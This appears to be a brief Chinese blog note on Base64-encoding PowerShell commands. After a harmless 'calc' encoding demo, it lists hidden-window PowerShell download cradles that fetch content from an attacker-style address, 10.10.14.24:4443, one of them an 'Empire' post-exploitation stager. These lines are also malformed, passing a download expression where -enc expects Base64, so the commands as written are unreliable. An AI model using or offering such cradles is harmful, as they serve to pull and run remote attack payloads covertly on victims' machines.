PowerShell Encode/Decode

2020-07-16  本文已影响0人  夙小叶
image.png
$cmd = "calc"                                                             
$by = [System.Text.Encoding]::Unicode.GetBytes($cmd)                      
$enc_Cmd = [Convert]::ToBase64String($by)                                 
Write-Output $enc_Cmd 

YwBhAGwAYwA=
PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("calc"))
YwBhAGwAYwA=
PS > [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("YwBhAGwAYwA="))
calc

# http://10.10.14.24:4443/calc
YwBhAGwAYwA=
powershell -enc (New-Object Net.WebClient).DownloadString("http://10.10.14.24:4443/calc")
powershell -noP -sta -w 1 -enc (New-Object Net.WebClient).DownloadString("http://10.10.14.24:4443/Empire")

上一篇 下一篇

猜你喜欢

热点阅读